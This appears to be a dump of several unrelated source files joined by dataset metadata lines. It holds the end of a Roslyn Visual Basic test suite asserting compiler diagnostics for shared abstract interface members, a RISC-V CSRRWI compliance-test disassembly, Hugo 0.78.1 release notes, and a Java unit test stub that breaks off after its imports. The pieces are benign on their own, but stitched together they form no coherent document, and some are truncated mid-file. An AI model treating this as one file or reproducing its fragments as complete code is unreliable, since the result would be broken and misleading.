BC30111: 'I1' is an interface type and cannot be used as an expression.
I1(0) = 1
~~
BC30111: 'I1' is an interface type and cannot be used as an expression.
I1(0) += 1
~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_i = x(0)
~
BC37314: A shared abstract interface member cannot be accessed.
_i = x(0)
~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x(0) = 1
~
BC37314: A shared abstract interface member cannot be accessed.
x(0) = 1
~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x(0) += 1
~
BC37314: A shared abstract interface member cannot be accessed.
x(0) += 1
~~~~
BC37314: A shared abstract interface member cannot be accessed.
x(0) += 1
~~~~~~~~~
BC30108: 'T' is a type and cannot be used as an expression.
_i = T(0)
~
BC30108: 'T' is a type and cannot be used as an expression.
T(0) = 1
~
BC30108: 'T' is a type and cannot be used as an expression.
T(0) += 1
~
</errors>
)
Dim source3 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _i As Integer
Shared Sub MT1(x As I1)
_i = I1!a
I1!a = 1
I1!a += 1
_i = x!a
x!a = 1
x!a += 1
End Sub
Shared Sub MT2(Of T As I1)()
_i = T!a
T!a = 1
T!a += 1
End Sub
End Class
]]></file>
</compilation>
Dim comp3 = CreateCompilation(source3, targetFramework:=_supportingFramework, references:={CreateReferenceFromIlCode(ilSource)})
comp3.AssertTheseDiagnostics(
<errors>
BC30111: 'I1' is an interface type and cannot be used as an expression.
_i = I1!a
~~
BC30111: 'I1' is an interface type and cannot be used as an expression.
I1!a = 1
~~
BC30111: 'I1' is an interface type and cannot be used as an expression.
I1!a += 1
~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_i = x!a
~
BC37314: A shared abstract interface member cannot be accessed.
_i = x!a
~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x!a = 1
~
BC37314: A shared abstract interface member cannot be accessed.
x!a = 1
~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x!a += 1
~
BC37314: A shared abstract interface member cannot be accessed.
x!a += 1
~~~
BC37314: A shared abstract interface member cannot be accessed.
x!a += 1
~~~~~~~~
BC30108: 'T' is a type and cannot be used as an expression.
_i = T!a
~
BC30108: 'T' is a type and cannot be used as an expression.
T!a = 1
~
BC30108: 'T' is a type and cannot be used as an expression.
T!a += 1
~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticIndexedProperty_04()
Dim ilSource =
"
.class interface public auto ansi abstract I1
{
// Methods
.method public hidebysig specialname newslot abstract virtual
static int32 get_Item (
int32 x
) cil managed
{
} // end of method I1::get_Item
.method public hidebysig specialname newslot abstract virtual
static void set_Item (
int32 x,
int32 'value'
) cil managed
{
} // end of method I1::set_Item
// Properties
.property int32 Item(
int32 x
)
{
.get int32 I1::get_Item(int32)
.set void I1::set_Item(int32, int32)
}
} // end of class I1
"
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _i As Integer
Shared _s As String
Shared Sub MT1(x As I1)
_i = I1.Item(0)
I1.Item(0) = 1
I1.Item(0) += 1
_i = x.Item(0)
x.Item(0) = 1
x.Item(0) += 1
_s = nameof(I1.Item)
_s = nameof(x.Item)
End Sub
Shared Sub MT2(Of T As I1)()
_i = T.Item(0)
T.Item(0) = 1
T.Item(0) += 1
_s = nameof(T.Item)
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={CreateReferenceFromIlCode(ilSource)})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
_i = I1.Item(0)
~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
I1.Item(0) = 1
~~~~~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
I1.Item(0) += 1
~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
I1.Item(0) += 1
~~~~~~~~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_i = x.Item(0)
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
_i = x.Item(0)
~~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.Item(0) = 1
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.Item(0) = 1
~~~~~~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.Item(0) += 1
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.Item(0) += 1
~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.Item(0) += 1
~~~~~~~~~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_i = T.Item(0)
~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.Item(0) = 1
~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.Item(0) += 1
~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.Item)
~~~~~~
</errors>
)
End Sub
<Fact>
Public Sub DefineAbstractStaticEvent_01()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Interface I1
Shared Event E1 As System.Action
End Interface
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework)
comp1.AssertTheseDiagnostics(
<errors>
BC30275: 'Shared' is not valid on an interface event declaration.
Shared Event E1 As System.Action
~~~~~~
</errors>
)
Dim i1E1 = comp1.GetMember(Of EventSymbol)("I1.E1")
Assert.False(i1E1.IsShared)
Assert.False(i1E1.AddMethod.IsShared)
Assert.False(i1E1.RemoveMethod.IsShared)
Assert.Null(i1E1.RaiseMethod)
End Sub
<Fact>
Public Sub ImplementAbstractStaticEvent_01()
Dim csSource =
"
public interface I1
{
static abstract event System.Action E1;
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Public Class C
Implements I1
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'C' cannot implement interface 'I1' because it contains shared abstract 'Event E1 As Action'.
Implements I1
~~
</errors>
)
Dim i1E1 = comp1.GetMember(Of EventSymbol)("I1.E1")
Assert.Empty(i1E1.ExplicitInterfaceImplementations)
Assert.Null(i1E1.ContainingType.FindImplementationForInterfaceMember(i1E1))
Assert.Null(i1E1.ContainingType.FindImplementationForInterfaceMember(i1E1.AddMethod))
Assert.Null(i1E1.ContainingType.FindImplementationForInterfaceMember(i1E1.RemoveMethod))
Dim c = comp1.GetMember(Of NamedTypeSymbol)("C")
Assert.Null(c.FindImplementationForInterfaceMember(i1E1))
Assert.Null(c.FindImplementationForInterfaceMember(i1E1.AddMethod))
Assert.Null(c.FindImplementationForInterfaceMember(i1E1.RemoveMethod))
End Sub
<Fact>
Public Sub ImplementAbstractStaticEvent_02()
Dim csSource =
"
public interface I1
{
static abstract event System.Action E1;
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Public Class C
Implements I1
Event E1 As System.Action Implements I1.E1
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'C' cannot implement interface 'I1' because it contains shared abstract 'Event E1 As Action'.
Implements I1
~~
BC30401: 'E1' cannot implement 'E1' because there is no matching event on interface 'I1'.
Event E1 As System.Action Implements I1.E1
~~~~~
</errors>
)
Dim i1E1 = comp1.GetMember(Of EventSymbol)("I1.E1")
Assert.Empty(i1E1.ExplicitInterfaceImplementations)
Assert.Null(i1E1.ContainingType.FindImplementationForInterfaceMember(i1E1))
Assert.Null(i1E1.ContainingType.FindImplementationForInterfaceMember(i1E1.AddMethod))
Assert.Null(i1E1.ContainingType.FindImplementationForInterfaceMember(i1E1.RemoveMethod))
Dim c = comp1.GetMember(Of NamedTypeSymbol)("C")
Assert.Null(c.FindImplementationForInterfaceMember(i1E1))
Assert.Null(c.FindImplementationForInterfaceMember(i1E1.AddMethod))
Assert.Null(c.FindImplementationForInterfaceMember(i1E1.RemoveMethod))
End Sub
<Fact>
Public Sub ImplementAbstractStaticEvent_03()
Dim csSource =
"
public interface I1
{
static abstract event System.Action E1;
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Public Class C
Implements I1
Shared Event E1 As System.Action Implements I1.E1
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'C' cannot implement interface 'I1' because it contains shared abstract 'Event E1 As Action'.
Implements I1
~~
BC30505: Methods or events that implement interface members cannot be declared 'Shared'.
Shared Event E1 As System.Action Implements I1.E1
~~~~~~
</errors>
)
Dim i1E1 = comp1.GetMember(Of EventSymbol)("I1.E1")
Assert.Empty(i1E1.ExplicitInterfaceImplementations)
Assert.Null(i1E1.ContainingType.FindImplementationForInterfaceMember(i1E1))
Assert.Null(i1E1.ContainingType.FindImplementationForInterfaceMember(i1E1.AddMethod))
Assert.Null(i1E1.ContainingType.FindImplementationForInterfaceMember(i1E1.RemoveMethod))
Dim c = comp1.GetMember(Of NamedTypeSymbol)("C")
Assert.Null(c.FindImplementationForInterfaceMember(i1E1))
Assert.Null(c.FindImplementationForInterfaceMember(i1E1.AddMethod))
Assert.Null(c.FindImplementationForInterfaceMember(i1E1.RemoveMethod))
End Sub
<Fact>
Public Sub ConsumeAbstractStaticEventAdd_01()
Dim csSource =
"
public interface I1
{
abstract static event System.Action P01;
static event System.Action P04;
protected abstract static event System.Action P05;
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _i As Integer
Shared Sub MT1(x As I1)
AddHandler I1.P01, Nothing
AddHandler x.P01, Nothing
AddHandler I1.P04, Nothing
AddHandler x.P04, Nothing
End Sub
Shared Sub MT2(Of T As I1)()
AddHandler T.P01, Nothing
AddHandler T.P03, Nothing
AddHandler T.P04, Nothing
AddHandler T.P00, Nothing
AddHandler T.P05, Nothing
Dim x = CType(Sub() AddHandler T.P01, Nothing, System.Linq.Expressions.Expression(Of System.Action))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
AddHandler I1.P01, Nothing
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
AddHandler x.P01, Nothing
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
AddHandler x.P01, Nothing
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
AddHandler x.P04, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
AddHandler T.P01, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
AddHandler T.P03, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
AddHandler T.P04, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
AddHandler T.P00, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
AddHandler T.P05, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Sub() AddHandler T.P01, Nothing, System.Linq.Expressions.Expression(Of System.Action))
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticEventRemove_01()
Dim csSource =
"
public interface I1
{
abstract static event System.Action P01;
static event System.Action P04;
protected abstract static event System.Action P05;
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _i As Integer
Shared Sub MT1(x As I1)
RemoveHandler I1.P01, Nothing
RemoveHandler x.P01, Nothing
RemoveHandler I1.P04, Nothing
RemoveHandler x.P04, Nothing
End Sub
Shared Sub MT2(Of T As I1)()
RemoveHandler T.P01, Nothing
RemoveHandler T.P03, Nothing
RemoveHandler T.P04, Nothing
RemoveHandler T.P00, Nothing
RemoveHandler T.P05, Nothing
Dim x = CType(Sub() RemoveHandler T.P01, Nothing, System.Linq.Expressions.Expression(Of System.Action))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
RemoveHandler I1.P01, Nothing
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
RemoveHandler x.P01, Nothing
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
RemoveHandler x.P01, Nothing
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
RemoveHandler x.P04, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
RemoveHandler T.P01, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
RemoveHandler T.P03, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
RemoveHandler T.P04, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
RemoveHandler T.P00, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
RemoveHandler T.P05, Nothing
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Sub() RemoveHandler T.P01, Nothing, System.Linq.Expressions.Expression(Of System.Action))
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticEvent_02()
Dim csSource =
"
public interface I1
{
abstract static event System.Action P01;
static event System.Action P04;
protected abstract static event System.Action P05;
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _s As String
Shared Sub MT1(x As I1)
_s = nameof(I1.P01)
_s = nameof(x.P01)
_s = nameof(I1.P04)
_s = nameof(x.P04)
End Sub
Shared Sub MT2(Of T As I1)()
_s = nameof(T.P01)
_s = nameof(T.P03)
_s = nameof(T.P04)
_s = nameof(T.P00)
_s = nameof(T.P05)
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P01)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P03)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P04)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P00)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P05)
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub DefineAbstractStaticOperator_01()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Interface I1
Shared Operator + (x as I1) as I1
Shared Operator - (x as I1, y as I1) as I1
End Interface
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework)
comp1.AssertTheseDiagnostics(
<errors>
BC30603: Statement cannot appear within an interface body.
Shared Operator + (x as I1) as I1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
BC30603: Statement cannot appear within an interface body.
Shared Operator - (x as I1, y as I1) as I1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
</errors>
)
End Sub
<Fact>
Public Sub DefineAbstractStaticOperator_02()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Interface I1
Shared Operator IsTrue (x as I1) as Boolean
Shared Operator IsFalse (x as I1) as Boolean
End Interface
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework)
comp1.AssertTheseDiagnostics(
<errors>
BC30603: Statement cannot appear within an interface body.
Shared Operator IsTrue (x as I1) as Boolean
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
BC30603: Statement cannot appear within an interface body.
Shared Operator IsFalse (x as I1) as Boolean
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ImplementAbstractUnaryOperator_01()
Dim csSource =
"
public interface I1
{
abstract static I1 operator - (I1 x);
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Implements I1
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'Test' cannot implement interface 'I1' because it contains shared abstract 'Operator -(x As I1) As I1'.
Implements I1
~~
</errors>
)
End Sub
<Fact>
Public Sub ImplementAbstractBinaryOperator_01()
Dim csSource =
"
public interface I1
{
abstract static I1 operator - (I1 x, I1 y);
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Implements I1
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'Test' cannot implement interface 'I1' because it contains shared abstract 'Operator -(x As I1, y As I1) As I1'.
Implements I1
~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractUnaryOperator_01()
Dim csSource =
"
public interface I1
{
abstract static I1 operator - (I1 x);
}
public interface I2<T> where T : I2<T>
{
abstract static T operator - (T x);
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _o As Object
Shared Sub MT1(x As I1)
_o = -x
End Sub
Shared Sub MT2(Of T As I1)(y as T)
_o = -y
Dim x = CType(Function() -y, System.Linq.Expressions.Expression(Of System.Func(Of Object)))
End Sub
Shared Sub MT3(Of T As I2(Of T))(z As T)
_o = -z
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC30487: Operator '-' is not defined for type 'I1'.
_o = -x
~~
BC30487: Operator '-' is not defined for type 'T'.
_o = -y
~~
BC30487: Operator '-' is not defined for type 'T'.
Dim x = CType(Function() -y, System.Linq.Expressions.Expression(Of System.Func(Of Object)))
~~
BC30487: Operator '-' is not defined for type 'T'.
_o = -z
~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractBinaryOperator_01()
Dim csSource =
"
public interface I1
{
abstract static I1 operator - (I1 x, I1 y);
}
public interface I2<T> where T : I2<T>
{
abstract static T operator - (T x, T y);
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _o As Object
Shared Sub MT1(x1 As I1, x2 As I1)
_o = x1 - x2
End Sub
Shared Sub MT2(Of T As I1)(y1 as T, y2 as T)
_o = y1 - y2
Dim x = CType(Function() y1 - y2, System.Linq.Expressions.Expression(Of System.Func(Of Object)))
End Sub
Shared Sub MT3(Of T As I2(Of T))(z1 As T, z2 As T)
_o = z1 - z2
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC30452: Operator '-' is not defined for types 'I1' and 'I1'.
_o = x1 - x2
~~~~~~~
BC30452: Operator '-' is not defined for types 'T' and 'T'.
_o = y1 - y2
~~~~~~~
BC30452: Operator '-' is not defined for types 'T' and 'T'.
Dim x = CType(Function() y1 - y2, System.Linq.Expressions.Expression(Of System.Func(Of Object)))
~~~~~~~
BC30452: Operator '-' is not defined for types 'T' and 'T'.
_o = z1 - z2
~~~~~~~
</errors>
)
End Sub
<Fact>
Public Sub DefineAbstractStaticConversion_01()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Interface I1
Shared Widening Operator CType (x as Integer) as I1
Shared Narrowing Operator CType (x as I1) as Integer
End Interface
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework)
comp1.AssertTheseDiagnostics(
<errors>
BC30603: Statement cannot appear within an interface body.
Shared Widening Operator CType (x as Integer) as I1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
BC30603: Statement cannot appear within an interface body.
Shared Narrowing Operator CType (x as I1) as Integer
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ImplementAbstractConversionOperator_01()
Dim csSource =
"
public interface I1<T> where T : I1<T>
{
abstract static implicit operator int(T x);
}"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test(Of T As I1(Of T))
Implements I1(Of T)
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'Test' cannot implement interface 'I1(Of T)' because it contains shared abstract 'Function op_Implicit(x As T) As Integer'.
Implements I1(Of T)
~~~~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractConversionOperator_01()
Dim csSource =
"
public interface I1<T> where T : I1<T>
{
abstract static implicit operator int(T x);
}"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test(Of T As I1(Of T))
Shared Function MT1(x As I1(Of T)) As Integer
Dim y = CType(Function() x, System.Linq.Expressions.Expression(Of System.Func(Of Integer)))
Return x
End Function
Shared Function MT2(y as T) As Integer
Dim x = CType(Function() y, System.Linq.Expressions.Expression(Of System.Func(Of Integer)))
Return y
End Function
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC30311: Value of type 'I1(Of T As I1(Of T))' cannot be converted to 'Integer'.
Dim y = CType(Function() x, System.Linq.Expressions.Expression(Of System.Func(Of Integer)))
~
BC30311: Value of type 'I1(Of T As I1(Of T))' cannot be converted to 'Integer'.
Return x
~
BC30311: Value of type 'T' cannot be converted to 'Integer'.
Dim x = CType(Function() y, System.Linq.Expressions.Expression(Of System.Func(Of Integer)))
~
BC30311: Value of type 'T' cannot be converted to 'Integer'.
Return y
~
</errors>
)
End Sub
End Class
End Namespace
| Visual Basic | 5 | frandesc/roslyn | src/Compilers/VisualBasic/Test/Symbol/SymbolsTests/StaticAbstractMembersInInterfacesTests.vb | [
"MIT"
] |
D:/gitee/tmp/tinyriscv/tests/riscv-compliance/build_generated/rv32Zicsr/I-CSRRWI-01.elf: file format elf32-littleriscv
Disassembly of section .text.init:
00000000 <_start>:
0: 04c0006f j 4c <reset_vector>
00000004 <trap_vector>:
4: 34202f73 csrr t5,mcause
8: 00800f93 li t6,8
c: 03ff0a63 beq t5,t6,40 <write_tohost>
10: 00900f93 li t6,9
14: 03ff0663 beq t5,t6,40 <write_tohost>
18: 00b00f93 li t6,11
1c: 03ff0263 beq t5,t6,40 <write_tohost>
20: 00000f17 auipc t5,0x0
24: fe0f0f13 addi t5,t5,-32 # 0 <_start>
28: 000f0463 beqz t5,30 <trap_vector+0x2c>
2c: 000f0067 jr t5
30: 34202f73 csrr t5,mcause
34: 000f5463 bgez t5,3c <handle_exception>
38: 0040006f j 3c <handle_exception>
0000003c <handle_exception>:
3c: 5391e193 ori gp,gp,1337
00000040 <write_tohost>:
40: 00001f17 auipc t5,0x1
44: fc3f2023 sw gp,-64(t5) # 1000 <tohost>
48: ff9ff06f j 40 <write_tohost>
0000004c <reset_vector>:
4c: 00000193 li gp,0
50: 00000297 auipc t0,0x0
54: fb428293 addi t0,t0,-76 # 4 <trap_vector>
58: 30529073 csrw mtvec,t0
5c: 30005073 csrwi mstatus,0
60: 00000297 auipc t0,0x0
64: 02028293 addi t0,t0,32 # 80 <begin_testcode>
68: 34129073 csrw mepc,t0
6c: 00000293 li t0,0
70: 10000337 lui t1,0x10000
74: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
78: 00532023 sw t0,0(t1)
7c: 30200073 mret
00000080 <begin_testcode>:
80: 00002797 auipc a5,0x2
84: f8078793 addi a5,a5,-128 # 2000 <begin_signature>
88: 34001073 csrw mscratch,zero
8c: 3400d173 csrrwi sp,mscratch,1
90: 34005273 csrrwi tp,mscratch,0
94: 340fd373 csrrwi t1,mscratch,31
98: 3407de73 csrrwi t3,mscratch,15
9c: 34085f73 csrrwi t5,mscratch,16
a0: 34005ff3 csrrwi t6,mscratch,0
a4: 0007a023 sw zero,0(a5)
a8: 0027a223 sw sp,4(a5)
ac: 0047a423 sw tp,8(a5)
b0: 0067a623 sw t1,12(a5)
b4: 01c7a823 sw t3,16(a5)
b8: 01e7aa23 sw t5,20(a5)
bc: 01f7ac23 sw t6,24(a5)
c0: 00002097 auipc ra,0x2
c4: f5c08093 addi ra,ra,-164 # 201c <test_B_res>
c8: 3407d073 csrwi mscratch,15
cc: 34005073 csrwi mscratch,0
d0: 0000a023 sw zero,0(ra)
d4: 00002297 auipc t0,0x2
d8: f2c28293 addi t0,t0,-212 # 2000 <begin_signature>
dc: 10000337 lui t1,0x10000
e0: 00830313 addi t1,t1,8 # 10000008 <_end+0xfffde04>
e4: 00532023 sw t0,0(t1)
e8: 00002297 auipc t0,0x2
ec: f3828293 addi t0,t0,-200 # 2020 <end_signature>
f0: 10000337 lui t1,0x10000
f4: 00c30313 addi t1,t1,12 # 1000000c <_end+0xfffde08>
f8: 00532023 sw t0,0(t1)
fc: 00100293 li t0,1
100: 10000337 lui t1,0x10000
104: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
108: 00532023 sw t0,0(t1)
10c: 00000013 nop
110: 00100193 li gp,1
114: 00000073 ecall
00000118 <end_testcode>:
118: c0001073 unimp
...
Disassembly of section .tohost:
00001000 <tohost>:
...
00001100 <fromhost>:
...
Disassembly of section .data:
00002000 <begin_signature>:
2000: ffff 0xffff
2002: ffff 0xffff
2004: ffff 0xffff
2006: ffff 0xffff
2008: ffff 0xffff
200a: ffff 0xffff
200c: ffff 0xffff
200e: ffff 0xffff
2010: ffff 0xffff
2012: ffff 0xffff
2014: ffff 0xffff
2016: ffff 0xffff
2018: ffff 0xffff
201a: ffff 0xffff
0000201c <test_B_res>:
201c: ffff 0xffff
201e: ffff 0xffff
00002020 <end_signature>:
...
00002100 <begin_regstate>:
2100: 0080 addi s0,sp,64
...
00002200 <end_regstate>:
2200: 0004 0x4
...
| ObjDump | 4 | DuBirdFly/TinyRISCV_Learn | tests/riscv-compliance/build_generated/rv32Zicsr/I-CSRRWI-01.elf.objdump | [
"Apache-2.0"
] |
---
date: 2020-11-05
title: "Hugo 0.78.1: A couple of Bug Fixes"
description: "This version fixes a couple of bugs introduced in 0.78.0."
categories: ["Releases"]
images:
- images/blog/hugo-bug-poster.png
---
The main fix in this release is that of dependency resolution for package.json/node_modules in theme components. See [the documentation](https://gohugo.io/hugo-pipes/js/#include-dependencies-in-packagejson--node_modules) for more information.
* Disable NPM test on Travis on Windows [3437174c](https://github.com/gohugoio/hugo/commit/3437174c3a7b96925b82b351ac87530b4fa796a5) [@bep](https://github.com/bep)
* travis: Install nodejs on Windows [f66302ca](https://github.com/gohugoio/hugo/commit/f66302ca0579171ffd1730eb8f33dd05af3d9a00) [@bep](https://github.com/bep)
* js: Remove external source map option [944150ba](https://github.com/gohugoio/hugo/commit/944150bafbbb5c3e807ba3688174e70764dbdc64) [@bep](https://github.com/bep) [#7932](https://github.com/gohugoio/hugo/issues/7932)
* js: Misc fixes [bf2837a3](https://github.com/gohugoio/hugo/commit/bf2837a314eaf70135791984a423b0b09f58741d) [@bep](https://github.com/bep) [#7924](https://github.com/gohugoio/hugo/issues/7924)[#7923](https://github.com/gohugoio/hugo/issues/7923)
| Markdown | 0 | tmuguet/hugoDocs | content/en/news/0.78.1-relnotes/index.md | [
"Apache-2.0"
] |
param = { "hacklu":
((889774351128949770355298446172353873, 12345, 67890),
# Generator of Subgroup of prime order 73 bits, 79182553273022138539034276599687 to be excact
(238266381988261346751878607720968495, 591153005086204165523829267245014771),
# challenge Q = xP, x random from [0, 79182553273022138539034276599687)
(341454032985370081366658659122300896, 775807209463167910095539163959068826)
)
}
serverAdress = '0.0.0.0'
serverPort = 23426
(p, a, b), (px, py), (qx, qy) = param["hacklu"]
E = EllipticCurve(GF(p), [a, b])
P = E((px, py))
Q = E((qx, qy))
def is_distinguished_point(p):
return p[0] < 2^(100)
| Sage | 5 | amoniaka-knabino/Crypton | Discrete-Logarithm-Problem/Elliptic-Curve-DLP/Algo-Pollard-Rho/Challenges/Multiplayer-2/parameters.sage | [
"MIT"
] |
package org.baeldung.conditionalflow.step;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
import org.baeldung.conditionalflow.model.NumberInfo;
import org.junit.jupiter.api.Test;
public class NumberInfoGeneratorUnitTest {
@Test
